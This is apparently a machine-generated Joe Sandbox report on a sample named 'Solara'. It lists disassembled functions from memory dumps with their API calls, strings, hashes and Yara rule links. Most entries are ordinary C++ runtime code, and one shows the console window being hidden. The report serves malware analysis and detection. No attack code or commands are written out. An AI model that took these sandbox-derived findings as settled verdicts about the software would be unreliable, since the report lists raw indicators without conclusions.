Opcode Fuzzy Hash: b86116adf2776cfc88a52e5cbab73e21ca22e1ae1ff062eca13548c221216d20
Instruction Fuzzy Hash: 82410330A20219ABCF11DF69D884ADE7BF5EF15314F148455E9149B352CBB1AEE1CF90

Function 00203C70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00203CA5
std::_Lockit::_Lockit.LIBCPMT ref: 00203CBF
std::_Lockit::~_Lockit.LIBCPMT ref: 00203CE0
__Getctype.LIBCPMT ref: 00203D92
std::_Lockit::~_Lockit.LIBCPMT ref: 00203DD8

Strings

e.#, xrefs: 00203D67

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID: e.#
API String ID: 3087743877-406694023
Opcode ID: 0f92c4d35f0ad8f8bcf27e0de73a90dbec4a7e9e34fa787b898b3b35d2521c51
Instruction ID: 9d9076c9775e17e55623fa08f11e663681790c27c41aa31ac6ece3f6abbbf367
Opcode Fuzzy Hash: 0f92c4d35f0ad8f8bcf27e0de73a90dbec4a7e9e34fa787b898b3b35d2521c51
Instruction Fuzzy Hash: 7C4154B1E103198FCB14DF98E845BAEB7B9FF84720F148219D8156B392DB34AA11CF91

Function 002024B0 Relevance: 10.6, APIs: 7, Instructions: 83threadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 002024DD
ShowWindow.USER32(00000000,00000000), ref: 002024E6
GetCurrentThreadId.KERNEL32 ref: 00202524

Part of subcall function 0020F11D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0020253A,?,?,00000000), ref: 0020F129
Part of subcall function 0020F11D: GetExitCodeThread.KERNEL32(?,00000000,?,?,0020253A,?,?,00000000), ref: 0020F142
Part of subcall function 0020F11D: CloseHandle.KERNEL32(?,?,?,0020253A,?,?,00000000), ref: 0020F154

std::_Throw_Cpp_error.LIBCPMT ref: 00202567
std::_Throw_Cpp_error.LIBCPMT ref: 00202578
std::_Throw_Cpp_error.LIBCPMT ref: 00202589
std::_Throw_Cpp_error.LIBCPMT ref: 0020259A

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ThreadWindow$CloseCodeConsoleCurrentExitHandleObjectShowSingleWait
String ID:
API String ID: 3956949563-0
Opcode ID: 8f0bfedb98bff44b0d765fc00334173bd28a62b6e2727953b3944cf05af6038b
Instruction ID: 5faf7575d5d43e78788dc654e76749fcbaa085a2b43abdb669e4e7a632a011a4
Opcode Fuzzy Hash: 8f0bfedb98bff44b0d765fc00334173bd28a62b6e2727953b3944cf05af6038b
Instruction Fuzzy Hash: ED2196F2D503159BDF10AF949C0ABDEBAB8AF04710F180165F508772C2E7B69964CBA6

Function 0021CF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,?,?,?,BB40E64E,?,0021D01A,00201170,0020AA08,?,?), ref: 0021CFCC

Strings

ext-ms-, xrefs: 0021CF76
api-ms-, xrefs: 0021CF62

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 9f01110aa240232cced4f4c41c9d36b916c8d1e7b44793d168e73164864729aa
Instruction ID: 2bc863ddd19a7f49c185fb425c2d49b46b268afaf40ace4406ff3fe68f9753a0
Opcode Fuzzy Hash: 9f01110aa240232cced4f4c41c9d36b916c8d1e7b44793d168e73164864729aa
Instruction Fuzzy Hash: BB213839BA1312BBC7318F64FC49A9A77A9AB61360F340113FC05A7690D730ED61CAD0

Function 00210080 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00210086
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00210094
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 002100A5

Strings

GetSystemTimePreciseAsFileTime, xrefs: 0021008E
GetTempPath2W, xrefs: 0021009A
kernel32.dll, xrefs: 00210081

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 7542640ea8b84392878c26c0a2be84b13187db75d132a599834c88f7f7f7fb0f
Instruction ID: 76e01de0827f91b766ce5bccb534bc8c8d78a1dab27a5690efe076d6dd39ec90
Opcode Fuzzy Hash: 7542640ea8b84392878c26c0a2be84b13187db75d132a599834c88f7f7f7fb0f
Instruction Fuzzy Hash: 97D0C771661610BFC310AFF47C0D9893EBDFA0BB127019953F441E2360DF749A118B54

Function 00224F81 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93a36c927d8da575638d4d36bf0ac5079e92cd10c059688db4d8fd3afb819654
Instruction ID: a52357d37ccc8a9f362264ad3fd8f3e85849899b52d0f9cd9193d72c69bae1d3
Opcode Fuzzy Hash: 93a36c927d8da575638d4d36bf0ac5079e92cd10c059688db4d8fd3afb819654
Instruction Fuzzy Hash: 16B1F570E24A79BFDB01DFE8E844BADBBB4BF55300F148259E90497291C7B19961CFA0

Function 00209B30 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00209C97
std::_Throw_Cpp_error.LIBCPMT ref: 00209CA8
std::_Throw_Cpp_error.LIBCPMT ref: 00209CBC
std::_Throw_Cpp_error.LIBCPMT ref: 00209CDD
std::_Throw_Cpp_error.LIBCPMT ref: 00209CEE
std::_Throw_Cpp_error.LIBCPMT ref: 00209D06

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: 44d4f58e2cd27037f9ded942be57fa3834a00201aba75a7f43d3aaae74453a63
Instruction ID: 6c09b857233c83cbfe0d8fd91e125b4bce893853a3c955604012bf52456b0e8e
Opcode Fuzzy Hash: 44d4f58e2cd27037f9ded942be57fa3834a00201aba75a7f43d3aaae74453a63
Instruction Fuzzy Hash: 5B41C2B1D10745CBEB309F6089457AFB7F4AF49324F18062EE56B162D3D37169A0CB52

Function 0021ACE7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0021ACDE,00210760,0020B77F,BB40E64E,?,?,?,?,0022BFCA,000000FF), ref: 0021ACF5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0021AD03
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0021AD1C
SetLastError.KERNEL32(00000000,?,0021ACDE,00210760,0020B77F,BB40E64E,?,?,?,?,0022BFCA,000000FF), ref: 0021AD6E

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 99df4595ac02a90867010539c0ef2f99e1d33610cc89176bd23ad50e91654456
Instruction ID: 6f9a10b96b75e99205b4bb38858fed242ffb7e8d8b82cf90685647df49911446
Opcode Fuzzy Hash: 99df4595ac02a90867010539c0ef2f99e1d33610cc89176bd23ad50e91654456
Instruction Fuzzy Hash: A901DD32237A176DE7251EB87C4E9A626C4E711B75720032BF610559F0EF518CA65981

Function 0021B56E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0021B68D
CallUnexpected.LIBVCRUNTIME ref: 0021B906

Strings

csm, xrefs: 0021B5AB
csm, xrefs: 0021B6C4
csm, xrefs: 0021B618

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 5cd7eec817a08e1f08a041c4337346025afa8660d18a2b89c797964e8f718308
Instruction ID: 91b7205d6d4ba6f12f2544846b736faf77cc5e549de92869023f1033278a1f91
Opcode Fuzzy Hash: 5cd7eec817a08e1f08a041c4337346025afa8660d18a2b89c797964e8f718308
Instruction Fuzzy Hash: 71B1697182020AEFCF16DFA4C8819EEB7F9AF64310F15455AE811AB212D731DAB1CF91

Function 0020BE95 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0020BF44
std::_Ref_count_base::_Decref.LIBCPMT ref: 0020C028

Strings

MOC, xrefs: 0020BE9F
RCC, xrefs: 0020BEAB
csm, xrefs: 0020BEB7

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 0e6e0493a662e920c69daef9dad3fd5070456f77a1059981bc1ed563e24ca426
Instruction ID: f073652bef62ecf06793c98262a9b8d722c88c4d01cdcd938c0b5189ba7f9f0a
Opcode Fuzzy Hash: 0e6e0493a662e920c69daef9dad3fd5070456f77a1059981bc1ed563e24ca426
Instruction Fuzzy Hash: 6B41CB70910306DFCF3ADF28C8499ADB7B5AF18300F58806DE449A7A93C734AA60CF51

Function 002155C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,0022BE94,000000FF,?,00215685,?,?,00215721,00000000), ref: 002155F9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0021560B
FreeLibrary.KERNEL32(00000000,?,?,00000000,0022BE94,000000FF,?,00215685,?,?,00215721,00000000), ref: 0021562D

Strings

mscoree.dll, xrefs: 002155F2
CorExitProcess, xrefs: 00215603

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: eecc62935e6a061e89d485c53a05ba0ef9d187139d393a87ca8557f25b9a7c78
Instruction ID: bca9af060ec553f54d988b251719f070f6e3765a1ad699e54fd17e0787db9282
Opcode Fuzzy Hash: eecc62935e6a061e89d485c53a05ba0ef9d187139d393a87ca8557f25b9a7c78
Instruction Fuzzy Hash: B901D671A10A69FFCB118F80EC0DBEEB7FCFB45B15F004926F811A2290DB749950CA90

Function 0021D6EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0021D76F
__alloca_probe_16.LIBCMT ref: 0021D838
__freea.LIBCMT ref: 0021D89F

Part of subcall function 0021BF11: HeapAlloc.KERNEL32(00000000,00000018,00000000,?,0020A67D,00000018,?,00203D4A,00000018,00000000), ref: 0021BF43

__freea.LIBCMT ref: 0021D8B2
__freea.LIBCMT ref: 0021D8BF

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 9f61c0fa2ea2d87477de42d47cf52f4101b36eb9677b8d9aa9731eb09c270b3a
Instruction ID: c1e3ef8d69ebac00a9042a03474270fe4ed3aee1fa61d3d2c2f81492c3794b00
Opcode Fuzzy Hash: 9f61c0fa2ea2d87477de42d47cf52f4101b36eb9677b8d9aa9731eb09c270b3a
Instruction Fuzzy Hash: F2518372620206EFEB315F61DC81EFB76E9EF64710B160129FD04D6251E770DCB29AA0

Function 0020EFF1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0020F005
AcquireSRWLockExclusive.KERNEL32(00208E38), ref: 0020F024
AcquireSRWLockExclusive.KERNEL32(00208E38,0020A2F0,?), ref: 0020F052
TryAcquireSRWLockExclusive.KERNEL32(00208E38,0020A2F0,?), ref: 0020F0AD
TryAcquireSRWLockExclusive.KERNEL32(00208E38,0020A2F0,?), ref: 0020F0C4

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 8ef4c298b2b527953ad9dcfdf5a3abd76ee9e34f257ed26a4b19ecbd511c38a6
Instruction ID: 9b45573cd7f250cf696eada606fbaa82da71b0856acbc0b51826c91dbe80b076
Opcode Fuzzy Hash: 8ef4c298b2b527953ad9dcfdf5a3abd76ee9e34f257ed26a4b19ecbd511c38a6
Instruction Fuzzy Hash: EF4158316A070ADBCB70CF64C68496AB3BAFF04310B10493AE446D7D87E770E9A5CB51

Function 0020D4C2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0020D4C9
std::_Lockit::_Lockit.LIBCPMT ref: 0020D4D3
int.LIBCPMT ref: 0020D4EA

Part of subcall function 0020C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0020C1F6
Part of subcall function 0020C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0020C210

codecvt.LIBCPMT ref: 0020D50D
std::_Lockit::~_Lockit.LIBCPMT ref: 0020D544

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 3af03408a02d9f1d05efdfda6de35e73724102a56b2a33c0ad9164f8f05249bd
Instruction ID: 8138ca5cc6a6b4df97914b4a5285effe1490a4150fcfaba84754b75c7e144869
Opcode Fuzzy Hash: 3af03408a02d9f1d05efdfda6de35e73724102a56b2a33c0ad9164f8f05249bd
Instruction Fuzzy Hash: CD01C4759203159FCB01EBA8D915AAE7BB5AF84328F640109E815AB2D3CF749E20CF81

Function 0020ADD7 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0020ADDE
std::_Lockit::_Lockit.LIBCPMT ref: 0020ADE9
std::_Lockit::~_Lockit.LIBCPMT ref: 0020AE57

Part of subcall function 0020ACAA: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0020ACC2

std::locale::_Setgloballocale.LIBCPMT ref: 0020AE04
_Yarn.LIBCPMT ref: 0020AE1A

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 620fa9040b9276567011bfa0be59fe310eeded834746d456510fca4fb7c6b391
Instruction ID: 5d9112af1b8ab3ec4d0027768f2bafe854ebe4d263dea1682f2eae7adb55a4ee
Opcode Fuzzy Hash: 620fa9040b9276567011bfa0be59fe310eeded834746d456510fca4fb7c6b391
Instruction Fuzzy Hash: FF017C75A203219BCB06EF20E95957D77B5FF88750B55401AE802673D2CF386E62CF82

Function 00201750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00201783

Strings

ios_base::eofbit set, xrefs: 00201BEA
ios_base::badbit set, xrefs: 00201BFA, 00201C20
ios_base::failbit set, xrefs: 00201BEF

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: 7dafe65954eaa3124943e4e5382250efa8de0d4ab4231c8ac82ae34d08415772
Instruction ID: c50a9525ffeb7084991e2d9a3a39fd97a64b551725d1666c4409f51ea7a11a5b
Opcode Fuzzy Hash: 7dafe65954eaa3124943e4e5382250efa8de0d4ab4231c8ac82ae34d08415772
Instruction Fuzzy Hash: 11F16C75A102198FCB14CF68C494BADB7F1FF88324F198269E815AB3E2D774AD51CB90

Function 002073E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 00207526
___std_exception_copy.LIBVCRUNTIME ref: 00207561

Part of subcall function 0020AF37: CreateThreadpoolWork.KERNEL32(0020B060,00208A2A,00000000), ref: 0020AF46
Part of subcall function 0020AF37: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 0020AF53

Strings

G.#, xrefs: 00207551
Fail to schedule the chore!, xrefs: 00207560

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!$G.#
API String ID: 3683891980-2059570399
Opcode ID: e4080fdad0945efe432055ad5369d10c8e6e2a3ac50719bcb85f4f8f9782411a
Instruction ID: 493fcf0de77eaeab6c1758622b5943bb18d10563ff71158978a76ac0c896fd17
Opcode Fuzzy Hash: e4080fdad0945efe432055ad5369d10c8e6e2a3ac50719bcb85f4f8f9782411a
Instruction Fuzzy Hash: 93519CB1D103199FCB00DF94E849BAEBBB4FF08314F144129E8196B392D776A925CF91

